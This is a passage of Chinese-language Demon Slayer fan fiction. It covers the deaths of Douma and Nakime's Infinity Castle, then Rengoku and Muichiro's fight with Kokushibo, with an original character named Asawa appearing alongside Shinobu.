“可惜啊。”他扇动金扇,制作出一个缩小版的冰人,冰人的形象与他看着一模一样,从空中轻巧落地后,对着还没反应过来的三人扇动冰扇,吹出一片莲花。冰结成的莲花美丽夺目,却有着无尽的危险。明明是个小小的冰偶,却能发挥出和童磨一样的威力。 让冰偶与三人缠斗,童磨自在地脱离战场。猗窝座死了,这可实在是一件大事,他必须得快点去到那位大人身边……但不知为何?大概是激战得太久吗?童磨发现自己方才被胡蝶忍刺破的那道伤口并没有痊愈。 奇怪。 是不是饿了呢? 他的视线射向躲在广间门口的黑发少女。 她忧虑地看着战斗中的几人,在发现他离开的打算后径直拿出枪指向他。 黑色的长发,碧绿的眼睛,一张漂亮却苍白的脸。 他调转步伐,向着她一步一步迈去。 胡蝶忍的发现了他的动作,焦急的喝声快要撕破喉咙:“朝和!快躲开!” 她大步冲过来,试图阻拦。 “是叫朝和么?”童磨摩挲着下巴笑起来。 和记忆里的琴叶多么相似。 明明是一个不会呼吸法的普通人类呢,看着也不像鬼杀队的成员,为什么会和他们一起出现在这里?她正在恐惧,心跳声变快,神色无法掩饰地流露出紧张,身体更是绷紧。但即使如此,她也没有放下手中的枪,反而更紧地握住,直直地朝向他。没有准备,也无须准备,与琴叶截然不同的是,她不会转身逃跑,而是直面于危险决然地开枪。 砰! 砰! 砰! 胡蝶忍被童磨的冰偶阻挡住脚步,冰的血鬼术横贯在她和有栖川朝和之间,隔绝如同生与死的两面。她的声音因惊慌而破音,愤怒无可叠加,抬刀猛地砍向冰偶:“再等一下!朝和!” 再等一下? 高速射出的子弹阻拦住童磨前进的步伐,迈出的步伐因击中的坐力而身形仄歪,童磨却没有在意,只一心想着将面前这个女孩吃下就好了。 但是。 “咦?” 装满的水桶只要有一个破洞就会漏尽所有水,但在装满它之前,永远也无法发现那个洞的存在。 不对劲……究竟是…… 童磨最后一步始终无法迈出,他站定在少女面前却不能更进一步。身体中存在的力量不知为何会在这段短暂的时间里尽数流失,他无法控制肢体,只有意识清晰地打转。脸上这是什么感觉?为什么会……他茫然地抬手想要去摸,耳畔响起黏稠的液体流动的声响,什么东西恰好落进自己掌心。 啊…… 视野一分为二,一边看向自己手心,一颗有着彩色瞳孔的眼球正在转动,它带来另一半的所见:和室金碧辉煌的屋顶……与自己溶化的脸! 脑海中盘旋起“怎么会这样”的疑惑时,童磨已经彻底站不住,如同溶化的脸一般,全身的肌肉都瘫软下去,无法支撑着身体,最终无力地摔向地面。感觉不到痛感,落地时支撑的那条手臂则折断,伴随着鲜血滚落出去。 身体的修复能力已经不再,童磨却豁然开朗——是毒,从骨头开始溶化的毒,是那个柱吗?究竟为什么?明明之前的毒素已经被分解了,身体都产生了抗药性,为什么?又是在什么时候扩散的? 咕噜噜滚远了的眼球停下,本体的重伤使得冰偶消散,战斗息止,那个明明很弱小的柱正看着他,雾紫色的双眼平静地看着他此刻的丑态。 “就是这个时候!快砍头!”胡蝶忍对着香奈乎和伊之助喊道。 再怎么自满的人到了这会儿也该感到害怕了。百年来将无数人的生命终结的恶鬼,或许还是第一次听见为自己奏响的丧乐。没办法修复,断肢也生长不出来,童磨竭尽全力控制着仅存的那只手,妄图挥动金扇,最后一次召来庇佑。但还没来得及,就听见砰的一声,最后一枚子弹以极近的距离射进他的手腕。不等硝烟味弥漫,手腕因弹片爆炸而碎裂的血腥味就已经传进机能将要腐朽的鼻腔。 疼痛的感觉很轻微了,求生欲却激烈爆发。死亡真正逼近时想要活下去的生命能爆发出巨大的力量,这时候不分人与鬼。催动呼吸法逼近的剑士带着凛冽的杀意,童磨大概用了最后仅存的力气抬头吹起一阵冰雾。 从另一个方向急速奔驰而来的胡蝶忍猛地将有栖川朝和扑出雾气笼罩的范围,还死死捂住她的口鼻。 厚重的冰雾中伸手不见五指,这是恶鬼最后的招式,冻结的空气或许给他留下了逃跑的余地。香奈乎发动花之呼吸,眼球在呼吸法的运转下变得更能清晰视物,代价是眼白逐渐充血。眼睛毕竟是人体最脆弱的器官之一,过度使用很容易导致眼盲。但那又如何?比起香奈惠大人和师父他们连性命都不顾,一双眼睛又算得了什么?她也想要守护她们,哪怕拼上性命! 动态视力被提升到最极限,一切物体的运动都变得迟缓,哪怕空气中一粒结晶体的飘忽,在她的双眼中移动的轨迹都清晰可辨。 浓白色中,香奈乎终于看见了鬼的身影。他僵直地坐在那儿,毒素依然在溶解他的身体,久久没有好转。 砍下它! 她飞身跃起,毫不犹豫地握紧刀刃向着鬼那脆弱的脖颈挥出。冰雾沾染在她的皮肤上,让身体都陷入低温,甚至被冻结。但是没关系,只要砍到…… 手腕僵硬得不能再动,可是刀刃已经搭上鬼的脖颈。只要一点点……再一点点就好! “啊啊啊啊啊!兽之呼吸的灵光一闪!”伊之助咆哮着向香奈乎投出自己的日轮刀,借着巨大的冲力,两柄日轮刀撞在香奈乎的刀上。刀刃陷入皮肉,这次没有丝毫阻碍,轻易地割断。比切一块豆腐还要轻易。 溶解了近半的头颅坠落在地,恰巧正朝向胡蝶忍和有栖川朝和的方向。 最后看到的究竟是什么呢? …… 此间无比寂静,静得一根针坠地都能听见似的。那个聒噪的恶鬼就这样在我们的注视下散为飞灰,没有留下一字一句的遗言。我们久久无话,有种身在梦中的不真实感。 仿佛过了很久,又应该只是眨眼之间。伊之助兴奋地碾碎童磨最后的灰烬,一边叫着报仇雪恨,一边哈哈大笑。笑了才没两声,他咣当一下坐倒在地。 我和忍互相搀扶着站起,本想说些什么譬如太好了之类庆祝的话,但才开口,话语来不及阻止,眼泪已经涌了出来。我紧紧抱住忍, 比起那些说什么都行的好听话,憋在心中的情绪决堤而出。差点就要失去她,差点自己也要遇到危险,差一点……如果今天没有掉进这里、没有和伊之助一起、没有遇到香奈乎,我不敢想象结局会是何等的残忍。 怎么可以! 把跌跌撞撞走近的香奈乎也抱进怀里,我实在控制不住地好好哭了一场。好不容易在忍的安抚下勉强收住情绪,却发现靠在我们中间的香奈乎也无声地哭着,泪流满面。她原本佩戴的蝴蝶发饰在战斗中坏了,黑色的长发散落,更突出了她还只是一个十五六岁的孩子的真相。 与此同时,方才沉默的伊之助也哭了起来,泪水成串落下,他像是第一次牙牙学语,第一次如此落泪,轻轻念着这世间最为沉重也最轻飘飘的两个字:“妈妈……” 我们四个人最后紧紧地抱在一起,哪怕是忍也眼睫泛湿。 这次,大家都很努力了! 70. 琵琶音 入目四下里皆是横贯的和式建筑,繁多得如同春日雨后从地里拱出的竹笋,生机盎然地直冲向云霄——地面。 炼狱杏寿郎在这一片璀璨的灯火中敏锐地感觉到无数的恶意,潜藏在黑暗之中的鬼们垂涎的目光让他的皮肤都微微刺痛。这是他有生以来第一次见到如此之多的鬼,每一个鬼都意味着一个普通人类的“死去”,数目如此庞大的鬼,哪怕等级低下,恐怕也不是一朝一夕就能收集而成的。冷风灌进鼻腔,将地下城中腥甜的味道卷入思维,炼狱杏寿郎却平白觉得这恰似一种尸臭。 鬼舞辻无惨——这位鬼王为了躲避阳光对于他脆弱生命的摧害胆战心惊地在地下掏挖,像虫豸似的构建出独属于鬼的地下王城,又用漫长的时间作为手段征收着自己的军队。他既胆小、又胆大,藏身在永远晒不到太阳的地下,却时刻准备着终有一日要打破地面的藩篱重新回到地上。 金红色的眼眸绚烂如跳动的一簇火焰,炼狱杏寿郎的目力相当之好,耳力亦同样,但目之所及之处与他同样下坠的人个个都是鬼杀队的装扮,唯独不见有栖川朝和的身影。有那么一个瞬间,出于安慰的心理,又或者是过度的担心,脑海中忽地跳出一个意识:有栖川朝和并没有落入此间。毕竟他没有听见朝和的声音,更没有看到朝和的身影,在下坠时就飞开的鎹鸦还在地下城的各个角落盘旋,还没有为他带来任何消息。 众人下坠的方向各不相同,而玉板拨过琵琶带来的弦声清晰地回荡在这个一望无际的空间,炼狱杏寿郎说不上来这里究竟有多大多深,或许也是一种血鬼术。但万幸的是,他从来不是坐等时机降临的人,握住刀刃的手臂用力,锋利的刀刃便从刀鞘中流淌了出来,火焰般蜿蜒在刀身上的红痕随着挥刀的动作抹过眼前,他在半空中调整着姿势,向着距离自己最近的那一方和室砍去,刀尖划过木头时无声无息,他借力摆脱重力的控制轻身踩上和室的地面。 这并非是一间空旷的屋子,绘有鲜活菊花的拉门后数道并不平静的呼吸正在兀自起伏,演奏着进攻前的乐章。炼狱杏寿郎转过手臂,没有丝毫犹豫,下一秒,身形已经到了拉门前,他的动作没有任何声音,快得仿佛连空气都没有察觉。焰色席卷上刀身,随着他劈下的动作燃烧成一道火海,猛烈地炸破门扉,砍中躲在其后的鬼们。 那尽是些失去了理智,甚至连人形都未能保存的怪物,肆意流淌的口涎催促着它们伸出自己尖利的指甲,挥舞着双臂抓向炼狱杏寿郎。素来温和带笑的面庞现如今只余一片沉静的素意,随着眼眸中燃烧得愈来愈凶的火焰,炼狱杏寿郎只冷漠地砍碎这些肮脏的造物。 将埋伏着的所有鬼皆化作刀刃下消散的灰烬,他沿着走廊疾步奔跑,直到看见距离最近的下一幢建筑拔地而起,炼狱杏寿郎用力踩实地面,猛力跃向对面的建筑。 他凭借着自己的直觉,在无尽的地下城中寻找着琵琶的来处。 虽然不清楚对方的身份,但地下城每一次的变动都伴随着其奏乐的声音,显而易见,那个弹奏着琵琶的鬼正是操纵着地下城变化的真凶!只要能解决它,对于局势一定会更有利! 久历战斗的心敏锐而强大,矫健的身形飞跃在一道又一道无止境的建筑之间,炼狱杏寿郎尝试使用呼吸法杀死隐藏的恶鬼并破坏建筑的本身。不知为何,一路上他都没有遇到一个强劲的鬼,而那些失去理智的怪物对于炼狱杏寿郎毫无威胁可言。他的刀刃锋锐无匹、不被丝毫阻拦,随着剑招的挥出,带着蓬勃的火焰在废墟之间炸响,木屑飞扬,唯独他赤金色的眼眸明亮无比。 即使在鬼杀队众多呼吸法中,炎之呼吸也是大开大合、攻击性极强的一种,而熟练掌握并将之运用得炉火纯青的炼狱杏寿郎每一次发动剑式。所带来的杀伤力对于建筑而言都几乎是毁灭性的。 木料碎裂、扭曲,但在血鬼术的操纵下,这些宛若拥有生命的植物般可以生长的建筑并不会随着他的攻击而坍塌,在这座无限的地下城中,重力是任人玩弄的布偶,弹奏琵琶的鬼利用音调就能轻易地折叠目视的可见空间。 铮—— 这一次,鬼终于注意到炼狱杏寿郎的破坏行径,原本严丝合缝的规整建筑在乐声响起的那一瞬间突然凭空洞开出一个洞口,木结构间响起一阵骨骼错位般刺耳的呻吟,炼狱杏寿郎再次陷入下坠。他的身体依然可以控制,但身边的空间却如同单独夹起的一块冰块,凝结成固体被无形的大手向下按去。 这一次的目的地会是何处?炼狱杏寿郎不知道,也不感兴趣,他那颗燃烧的心正要冲破自身的界限,而他敏锐的听觉已经捕捉到那阵琵琶拨弦的来源。身体绷紧,力量收束,呼吸法在瞬间运转到极致,他将刀刃转向身后,在即将掉出这座建筑、落入下一幢之前猛地将刀刺入木梁,借力向上跳起,燃烧的烈焰足以融化坚冰,也足以让炼狱杏寿郎突破重力的控制。他循着声音的来源,猛地跳跃出去。 黑暗的地下城不见一丝天光,抬头望去时只能看见漆黑的地面,照亮一切的光源仅是这些交错的建筑中亮起的烛火,炼狱杏寿郎快速疾行,他踩着建筑光滑的外表,几乎垂直的环境对他而言如履平地,对他的速度毫无影响,从每一角木檐起跳,将意识到挣脱自己安排的每一声琵琶扔在身后,而他和这个鬼也越来越近。 直到炼狱杏寿郎看见那个巨大的平台,和端坐着的鬼。她看着与人类别无二致,包裹在和服之中端庄的身体并未因为鬼化而显出异色,她双手抱着琵琶,看不清脸。唯独那一头漆黑的长发,沿着自己身后的屏座树枝般蔓延生长。像是海草,也像是根系,虬结地铺盖着,将整座地下城掌握在自己手下。 就是她。 无须思考,炼狱杏寿郎已经向之掣出锋芒,火炎顺着刀刃燃烧,化作赤红的炎虎,张狂着无声的咆哮,扑向鬼的方向,势要将之连同这个密闭的夜晚一起咬碎! 一直端坐着的鬼一动不动,只抬手动作僵硬地用玉板拨过细弦,这把古典的琵琶发出美妙的乐声,动听得如同一出好戏的开场。炎虎的攻势被陡然抬高的一道高墙隔绝,木质碎裂,平白带出一阵烟尘,压抑着燃烧的焦味。炼狱杏寿郎的身形则从另一侧落下——在炎虎前扑的那刻,他就高高跳起,踩着连绵不绝的木质建构来到鬼的背后。 鬼依然没动,只不断拨弄着琵琶弦,奏出连贯的曲调,切切之音靡靡不绝。 这个鬼似乎没有战斗能力,所能做的一切都建立在琵琶与地下城的空间变动之中。 那么,炼狱杏寿郎眯起眼,披风正在摆动,这里存在着天然的风,他双手握住刀,试图寻找与众不同的攻击点。 炎之呼吸——三之型——气炎万象! 日轮刀挥着火光自上而下劈来,琵琶声控制着重力想要将炼狱杏寿郎甩开。但这正中下怀,因为他的目的这次并非鬼本身,而是她身后铺满的长发——炎刃砍断那些漆黑的发,火焰将链接焚烧殆尽,没人知道这延伸向黑暗之中的发有着何等作用,但存在必有其道理,毁灭必能带来影响。 突如其来的变故使得鬼原本就僵硬的身躯变得更是凝滞,她慌乱中弹错一个琴音,乐章便彻底失序。 借着这个机会,炼狱杏寿郎踩上屏板的边缘,凝聚着力量重新挥刀而来。这一次,目标正是她——迅猛的刀锋卷起微尘,拂过鬼垂落脸上漆黑的发,飞扬的发丝之中,嵌在灰白色面容正中那枚非人的独眼,正狰狞而怨毒地注视着炼狱杏寿郎——瞳仁里面清晰地印刻着“肆”。 面对擦过皮肤的刀尖,鬼彻底变了神情,她瘦削的身体因为用力而绷起,颈侧的筋脉鼓动着,弹拨弦的动作仓皇而迅速,让炼狱杏寿郎无法抵抗地随着乐声落入深渊。 但这一次,他还听见琵琶之上一根弦断裂的声音。 琵琶鬼对于地下城的控制是强制的规则,凭借超凡的力量能在一定程度上反抗,但注定像是沸水中游泳的鱼,没有逃脱的方法。虽然尝试的次数足够多他一定可以刺伤甚至砍下鬼的头颅,但消耗的时间或许会是一个大问题。更何况,那只是上弦之四,在她之上还有三个实力更为强大的鬼——炼狱杏寿郎当然想起那个苍茫的夜晚,那个粉发赤足的鬼,通身的靛青色的罪纹,他清楚地知道,在那时,猗窝座并没有施展出全部的实力。 先 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对面跑来的正是不死川玄弥。在刀匠村时他们曾经并肩作战、一同消灭了憎珀天。他是风柱不死川实弥的弟弟,与天赋异禀、擅武好战的风柱不同,玄弥不能使用呼吸法,虽然在岩柱的身边训练,但前段时间因为灶门少年和风柱互殴而受到惩罚的事件,关于玄弥的情况在柱之间也就不再是一个秘密。能够吞食鬼的肢体让自己达到短暂鬼化的人类,这种力量不知道是寄宿于他的身体还是他本人执着的愿望。但同样作为一个哥哥,炼狱杏寿郎能够看透一切的表象理解风柱对于弟弟的爱,却依然不赞同风柱的行为。 不死川玄弥落入无限城后一直是孤身一人,一路上没有遇到什么鬼,甚至没有被琵琶调转过方向,他只能寻找一个方向一直跑一直跑,直到跑出仿佛无限长的走廊,和炎柱炼狱杏寿郎撞上。他生疏地向炼狱杏寿郎问好,得到对方点头示意。 “来吧,不死川少年!”他热情地拍拍他的肩膀,鼓舞似的说道,“我们一起走吧!” 但这儿什么也没有。 越是往前走,鎹鸦的声音越无法听见,连穿透一切的琵琶声也不知在何时消失,炼狱杏寿郎的手始终握在刀柄之上,直到他忽然听见些许木室移动的细碎声音,从建构完整的建筑中凸生出的木室犹如异变的肿瘤,激发着令人作呕的力量,卷着什么穿过层层束缚咆哮而来。轰然的声音逐渐冲近了,带动起思绪中翻涌的理智,炼狱杏寿郎意识到夹杂着的那是时透无一郎的声音。他眉目一凛,带着不死川玄弥顺着声音的方向跑去。 宽广的殿内已经看不出和室的痕迹,只有呈现出米字拼纹的地面,再往前一些,木柱与木柱之间生出样式古典的隔板,将空间规整而零碎地划分成数块,其中仍然夹杂着不少木柱。身处此外的人,一下子分不清这些柱子与隔墙究竟有着什么作用,是作为装饰,还是格挡?只是它们的存在终究挡住了视线,谁也无法看清其中存在着什么。 终于天花板被那骨骼扭转般的声音砸碎,炼狱杏寿郎和不死川玄弥看得清清楚楚,随着那道木室撞进室内的正是时透无一郎。他们对视一眼,不死川玄弥就下意识要往里跑去,但炼狱杏寿郎拉住了他的手。 在那双永远燃烧着火炎的眼眸中,不死川玄弥清楚地看见自己的倒影,就如同浸没在仇恨的怒火中,他怔怔地看着炼狱杏寿郎取下随身携带的小包。 “这是紧急药物,和一些子弹,就由少年你来携带。”他沉着地说道。 “但是!柱的安危……”玄弥脱口而出,被炼狱杏寿郎用温和的视线按下,“这是柱的任务安排,不死川少年,接下来由我作为主攻,你在后面埋伏,如果出现什么情况,就作为副手帮衬。” 这是最佳的方案吗?不死川玄弥也不确定,他知道自己的实力距离柱们有着相当大的差距,他不能使用呼吸法,获得力量的方式是吞食鬼的部分这样恶心的内容,在那时他会变得像鬼一样。但不知为何,只要看着炼狱杏寿郎,就忍不住信服他的安排。他握紧了炼狱杏寿郎递来的包裹,用力点点头。 两人便向着时透无一郎落下的位置冲了过去。 71. 血缘 时透无一郎落入这座无限的地下城后没多久就遇到了悲鸣屿行冥,两人一起赶路,寻找着掩藏在建筑之中危险的鬼的气息。但周围并无声息,只有那琵琶的乐声穿透一切,时而响起。最后听到那声音时,他被一列突然耸出的建筑整个人撞飞出去,和室将他的身躯顶在前端,毫无理由、毫不停留地冲了出去,只来得及让他对悲鸣屿行冥留下一句:“请不用管我,继续赶路吧!” 或许就是在那时,被那些琵琶的声音干扰着,他们从不同的地方逐渐相遇,并且跑入逐渐接近核心的危险地带。 但时透无一郎并没有时间思考。 那一列和室火车般将他顶向未知,且在琵琶音未曾散去的末端无形中转变了方向,由上而下地撞碎天花板摔在冰凉的地面上。碎石块夹杂着木屑漫天飞扬落了一地,时透无一郎只来得及稳定身形,心脏就已经预感到危险降临,迅疾地怦怦直跳。 “来了啊,鬼杀队……” 一个男人低沉的声音自前方响起,掠过凝滞的空气,像是跨过千年的悠远时光,最终站定在他的面前。 时透无一郎抬起头,当他看清面前的鬼时,他同样听见自己身体中血液流动的声音。 那是一个穿着紫黑拼色上衣和黑袴的男人,身形高大,漆黑的长发半束着垂在身后,腰间端正地挂着一柄武士刀。粗一看去时只让人觉得是一个寻常的武士,穿着也好、身形也罢,怎么看都没有任何异常。但看清他的面容后,任谁都会激起一阵心惊胆战。那张依然能看出英俊痕迹的面孔上,诡异地生长着三双眼睛……! 眼白充斥着血色,分布有射线般的黑线,虹膜则是金色,瞳仁呈现出碎裂状的纹路。他的额头和脖颈处蔓生着火焰燃烧般的红色纹路。 “嗯……你是?”男人走近了两步,原本已经抬起的手停留在刀柄之上,他那六只眼睛统一地看向时透无一郎,带着难以言说的诡异,“有种……令人怀念的气息……” 心脏跳动的剧烈声响吵得要把世界都引爆,但与此同时,思维却陷入一种死寂的沉默,时透无一郎凝重地看着面前的恶鬼。他正中间的那对眼睛中,分别生长着:上弦和…… ——壹! 此时此刻,站在他面前的正是十二鬼月之中的最强者,上弦之一!这个除眼睛外,周身还保留着人形,看着与人类别无不同的鬼,却和其他奇形怪状的鬼不能相提并论。他的气息沉稳而厚重,带着时间积累沉淀的底蕴,甚至有一种与生俱来的威严。他只是静静地站在那里,一言不发地维持着握刀的姿势,就已经将气势宣泄。 而那柄刀……本该收纳刀刃的木鞘不知为何呈现出血肉般粉红的肌理,虬结的生长痕迹扭曲地遍布整个刀身。但时透无一郎却莫名觉得这似乎是一柄日轮刀。这种感受不知来源于同性相吸还是别的什么,只是那念头凭空出现,跳跃般自然地展露,思维捕捉后便融入大脑,成为某种直觉的感知。 如果真像自己猜测的那样,这是一柄日轮刀,而这个鬼——上弦之一——曾是鬼杀队的一员。那种不知是荒谬还是愤怒的情绪油然而生,他必然是鬼杀队中的佼佼者,呼吸法掌握到极致,他一定见识过鬼给人间带来的惨状,也灭杀过许多恶鬼,但最终,却还是成为了鬼…… 时透无一郎握紧自己的日轮刀。 但在他的意识之外,身体由本能主导,再怎样竭尽全力去握住刀柄,依然无法克制肢体的战栗。他的额头冒出一阵冷汗,看着自己颤抖不停的手臂,脸色苍白不已。即使在完全没有学习过呼吸法、在山中与哥哥相依为命时第一次遇到恶鬼,他也不曾有过这样的感受。身体比任何感官都要直接地感受到面前这个鬼的恐怖,本能无声地宣告着拒绝战斗的决定。 他甚至险些握不住刀。 生平第一次遇到这样的情况。只是抬眼去直视面前神色平静的鬼,就仿佛已经落进他所散发的斗气交织的泥潭之中。 连呼吸都差点忘却。 “你……”上弦之一问道,“叫什么名字?” 只是感受到他注视的目光,时透无一郎后背就激起一阵冷汗,对于这意料之外的问题,他最终给出了答案:“时透无一郎。” 听到这个名字后,男人再一次陷入沉默。他就像陷入一种怅惘的感情中,淡薄的愁绪被收集着编织成蛛网,笼罩上来时让他淡淡地感到意兴阑珊。“原来如此,这样啊……”他原本握住刀柄的手垂回身侧,视线下垂,似乎想要从自己久远而厚重的记忆中翻找出什么值得回忆的东西,像过了很久那样,沉沉的尾音染上些许可惜的意味:“‘继国’这个姓氏已经消失了啊。” “继国?”时透无一郎不解地问道,“那是谁?” 然而面前的恶鬼却像是没有听见他的询问一般,仍然沉浸在自己的过去之中。他翻搅着那些浑浊的记忆,原本以为早就已经远去的画面随着自己久违的回忆再次翩然而至时,一切似乎还是那么清晰,就像发生在昨天那么清晰。他仿佛第一次意识到时间的流逝如此的残忍,轻松抹消了过去的辉煌,“已经过去上百年了……这也难怪。”这是自然,时间滚滚而去是世间法则,凡人百年性命又能见证几多沧桑,并非人人有他之永恒。 “我,还是人类时名为……继国严胜。”他再次看向面前的少年,看着不过十四五岁,却已经拿起刀剑奔赴战场,“你是……我留在继国家的孩子的后裔。”虽然他抛弃了许多,但也给这个世界留下了些什么,“也就是我的子孙。” 这话无疑是一记重锤。狠狠砸进时透无一郎的大脑,让他的所有思绪顷刻间烟消云散,只留下一片苍白的余韵,连带着眩晕般的失措。他什么也无法分辨,只仓皇地看着面前的鬼——继国严胜——他?!他是这家伙的子孙? 怎么可能?!难以置信! 天音夫人曾告知过他时透家的事,时透家的先祖是鬼杀队的初代呼吸法剑士,他们的血液中流传着天生的剑士的血,历史源远流长。如果真是如此,那这个男人,就是使用起始呼吸法的剑士?! ——不!冷静!!不要慌,冷静下来,这些都不重要。 将纷乱的意识甩出大脑,无一郎控制着心神,最重要的是他是鬼杀队的剑士,而面前的是恶鬼。他牢牢握住刀柄,就像第一次掌握自己的命运那样镇定,抛却脑海中咆哮的杂音,目光沉沉地望向面前的鬼。 这个叫作继国严胜的恶鬼现下已经没再维持最初准备战斗的姿态,他一手抵着下巴,似乎思考着什么,低声衡量。 但那并不重要。从来都不重要。 时透无一郎的身形在下一瞬间已经出现在他面前,他紧紧拧着眉,压低身子,毫无保留地挥出一击。 霞之呼吸·二之型·八重霞! 雪白的霞岚沿着刀刃的方向蓬勃散出,大面积遮掩住视线可及之处,而且云岚的遮掩之下,数道霞色的辉光闪烁着利刃的光泽割穿浓白。这是进行多段斩击的连击招式,借助霞之呼吸本身的迅疾与无声,往往很难有鬼能够躲开全部的斩击。 但—— “你的技法委实精湛。”男人淡漠的声音就在他的身后响起,继国严胜平静地站立在那里,鬓发都不曾有丝毫散乱。就仿佛方才时透无一郎的攻击全然没有奏效。 “霞吗?”他只侧过一边的眼睛瞥视着时透无一郎的剑招,“原来如此。”他语气淡淡地点评,毫不掩饰自己的高傲,仿佛俯视着时透无一郎,将他看得一清二楚,“还不赖。” 愤怒也好,不可置信也罢,随着攻击落空,这些激烈的情绪最终在这位年轻的剑士心中平息,重新喧嚣的只有满腔的战意。轻薄的霞气随着呼吸法的运作以时透无一郎为中心扩散,逐渐盈满室内。云霞化作海潮,在方寸间汹涌,遮掩住两人身形的刹那,无一郎旋身挥刀而出,袭向霞中的身影。 然而,继国严胜的动作总是更快一步。 刀光割裂浓白的雾气时,继国严胜已不动如山地站在不远处,握着刀的姿势丝毫不变,唯独漆黑的长发随风流拂动。 “无一郎……”可笑的是他已经用上了那副长者的口吻,居高临下地打量着时透无一郎的周身,“年龄在十四岁左右啊……” “年纪轻轻却修得如此纯熟的剑技……”他的脸上看不出额外的情绪,古井无波的面容之下不知掩藏着什么,唯独从那三对并列的眼睛中射出的视线如有实质地扫过,“对我心存畏怯,却还是强压恐惧、迎难而上的胆魄……” “不愧是我的后裔。”——他竟然就这么轻飘飘地说道,激起无一郎后背一阵恶寒。 荒谬感从天而降,兜头淋下,将时透无一郎掩在霞岚之后的灵魂淋得湿漉漉的,他几乎是无法理解地看着面前的恶鬼,对那认知由衷生出一阵无法理解的嘲讽。日月轮转,数百年的时间不过弹指间,血缘的传承在无数人与人的□□、分娩、诞育中得到稀释。最后,呱呱坠地的婴儿与原初的姓氏不再有任何瓜葛,命脉之中流淌的那些红色液体里流传过的基因更是淡如云烟。 “你在耍我吗?”打断面前这人可笑的认同,时透无一郎站起身,决然地注视着他诡异的面孔。假若说从前他对自己的姓氏与先祖曾有过那么一分的骄傲与认同,那么此时此刻这一切都令人作呕。 “就算我是你的后裔……”时透无一郎反问道,“数百年过去了,你的血脉和细胞,怎么可能还活在我的体内?” 苍碧色的斑纹逐渐在他面颊显现,状若数朵腾飞的祥云,将少年稚嫩的面孔衬出不符合年龄的冷冽。 时透无一郎就站在原地,但平地无风却莫名席卷的霞气以他为中心再次澎湃,流动的云霞自有其翻飞的波澜,随着日轮刀的挥动如无形月色普照,流霜满地。而在这朦胧的雾气之中,万物似静默睡去,就连隐入霞岚的时透无一郎也仿佛化身一道云气,只余下日轮刀银白的寒光或在那重重云霞之中若隐若现。 这是时透无一 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继国严胜抽出的日轮刀并不像它的刀鞘那样扭曲诡异,反而依旧寒光凛冽、锋利无比。迎合着所使用呼吸法而变色的日轮刀呈现出一种迷幻而美丽的橙色,挟着月光化作一片冰冷的锋芒,构建起百年前便诞生、至今仍然锐不可当的——月之呼吸。 而那刀刃,正卡在时透无一郎细嫩的左手手腕处。只要再进一寸,就能完全深入! 月之呼吸……?即使此身已经化作恶鬼,依然可以轻易地使出呼吸法吗? 室内急促的呼吸多了一道。诡异的六目微微移动,视线僵硬地转向一旁。 “炼狱先生!” 原来,借着方才旺盛的霞雾掩盖住身形的,除了时透无一郎,还有在继国严胜拔刀的最紧要关头自高处跃出猛力用刀格挡住攻势的炼狱杏寿郎。 交错着无一郎淡青色的刀刃,银白的刀身上攀沿的一线火痕正架着继国严胜的日轮刀,倘若没有他及时赶到,现在时透无一郎的左手大概已经彻底断裂。 “能挡住我的攻击……”继国严胜随之打量起面前的男人,那惹人注目的金色头发与发尾处红色的燎灼,还有那双赤金色的眼睛,穿透过一切的一切,答案不言而喻,“炎之呼吸吗?” 继国严胜却只收刀入鞘,神情思量地看着面前的男人,却没了再次拔刀的打算。他避开流火的灼烧,问道:“你叫什么名字?” 就好像武士决斗之前的互通姓名的礼仪,不杀无名之人、亦不可被无名之人杀死。 逼他退开的打算奏效,炼狱杏寿郎也没有紧追不舍地追击。上弦之一必然有着旁人不能及的厉害之处,或许不仅仅是他的呼吸法……月之呼吸,哪怕是流传最为古老的炎之呼吸家族,也不曾听闻过的呼吸法,这种如幻想般不该存在的东西竟然真实存在,他打起十二分的精神,平静地报上自己的名字:“炼狱杏寿郎。” 啊…… 继国严胜的气息变了。 几百年的时光,炼狱家传承了下来,姓氏也未曾消散,被冲散在时间洪流中的似乎只有“继国”。只有“继国”而已——没错,就连他自己也时常忘了自己曾经的名字,以及这名字象征的一切。 他的脑海里涌现出了一些不那么愉快的记忆。 而两位柱并没有注意到。炼狱杏寿郎的目光从时透无一郎受伤的手腕上划过,两人无需言语的交流,但多年来协战的默契让他们同时错开刀身。再次兴起的云霞遮掩住两人的步伐,炼狱杏寿郎凝视着面前的恶鬼,他的脸上看不出任何对于上弦之一的惧怕和动摇,严肃的神情压下了他素来带有的笑意,几乎是以迅雷不及掩耳之势猛烈攻向继国严胜。 而时透无一郎轻身避向后方的同时取出随身携带的止血药洒在手腕之上,那道伤口破开皮肉已能见骨,血腥味充斥着自己的鼻腔,但他来不及思考更多。万幸这来自于有栖川家特制的止血药药效格外喜人,几乎在瞬间就让流溢的鲜血凝固,他用牙齿撕开衣裳的布料缠裹在伤处作为简单包扎。视线跟随着炼狱杏寿郎的攻击提防着继国严胜,随时准备着再次挥刀。 但很可惜。也仅仅只是准备着而已。 闪避过炼狱杏寿郎炎之呼吸蜿蜒的火光,继国严胜移形换影般蓦地出现在无一郎的身边。这一次,无一郎没能使出呼吸法,继国严胜面无表情地伸手卡住刀刃,借着刀镡将日轮刀翻转掌握在手。 接着,掷出! 这一次炼狱杏寿郎没能来得及救下时透无一郎。 淡青色的日轮刀轻易穿过胸腔,鲜血迸溅,仿佛无物,时透无一郎瘦小的身体被死死钉在一旁的漆黑木柱之上。 这番任谁也无法预料的变化将周遭碾得死寂,只余下继国严胜威严而低沉的声音仍在回荡:“我的后裔啊,以鬼之身,为那位大人所用吧。” 72. 凡俗之人 炼狱杏寿郎从小就知道,但凡是生活在人间的普通人,无论有着多么颠覆的命运或是如何伟大的成就,终究会融入凡俗之中,化作一滴水,随着岁月的洪流一道奔去。再神奇的伟力都无法与世界运行的规则抗衡,时间不可扭转,也不会因为任何原因停缓,它是冷漠无情却真正公正的、平等对待每一个生灵。 直到他知道这世界上有鬼的存在。 这些肮脏的生物用了卑鄙的手段以换取更长的生命,它们对这来之不易的生命毫无尊重,因为死亡离他们是那么遥远,且它们再次拥有了常人所不能拥有的异能,于是猖狂地凌驾在众生之上,高高在上地俯视着人类,并将人类的生命视作玩物。 每当这个意识再一次清晰,他的愤怒都会让胸中那团火焰愈发炽烈。持刀斩鬼,不仅仅是因为他知道正确地运用自己的强大去保护弱者,更因为他必须灭杀这蔑视生命的恶行! 